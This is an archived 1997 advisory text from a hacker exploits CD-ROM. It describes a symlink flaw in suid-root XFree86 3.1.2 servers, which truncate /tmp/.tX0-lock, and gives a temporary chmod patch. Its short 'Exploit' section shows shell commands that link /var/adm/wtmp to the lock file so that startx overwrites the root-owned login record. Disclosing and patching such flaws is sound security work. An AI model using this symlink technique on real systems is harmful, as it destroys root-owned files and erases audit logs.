home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / mop / multip~1.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  1.4 KB  |  37 lines

  1.  
  2.  
  3.  
  4.  
  5.    There are security holes in XFree86 3.1.2, which installs its servers
  6.  
  7. as suid root (/usr/X11R6/bin/XF86_*).  When reading and writing files, 
  8.  
  9. it does not take proper precautions to ensure that file permissions are
  10.  
  11. maintained, resulting in the ability to overwrite files.
  12.  
  13.    The problem stems from the server opening a temporary file,
  14.  
  15. /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC).  By making this
  16.  
  17. file a symlink, the server will overwrite the original file, and then
  18.  
  19. write to it its current pid.  
  20.  
  21.  
  22.  
  23.                    Program: XFree86 3.1.2 servers
  24.  
  25. Affected Operating Systems: All systems with XFree86 3.1.2 installed
  26.  
  27.               Requirements: account on system
  28.  
  29.            Temporary Patch: chmod o-x /usr/X11R6/bin/XF86*
  30.  
  31.        Security Compromise: overwrite arbitrary files
  32.  
  33.                     Author: Dave M. (davem@cmu.edu)
  34.  
  35.                   Synopsis: While running suid root, XFree86 servers do
  36.  
  37.                             not properly check file permissions, allowing
  38.  
  39.                             a user to overwrite arbitrary files on a 
  40.  
  41.                             system.
  42.  
  43.  
  44.  
  45.  
  46.  
  47. Exploit:
  48.  
  49. $ ls -l /var/adm/wtmp
  50.  
  51. -rw-r--r--   1 root     root       174104 Dec 30 08:31 /var/adm/wtmp
  52.  
  53. $ ln -s /var/adm/wtmp /tmp/.tX0-lock
  54.  
  55. $ startx
  56.  
  57. (At this point exit X if it started, or else ignore any error messages)
  58.  
  59. $ ls -l /var/adm/wtmp
  60.  
  61. -r--r--r--   1 root     root           11 Dec 30 08:33 /var/adm/wtmp
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.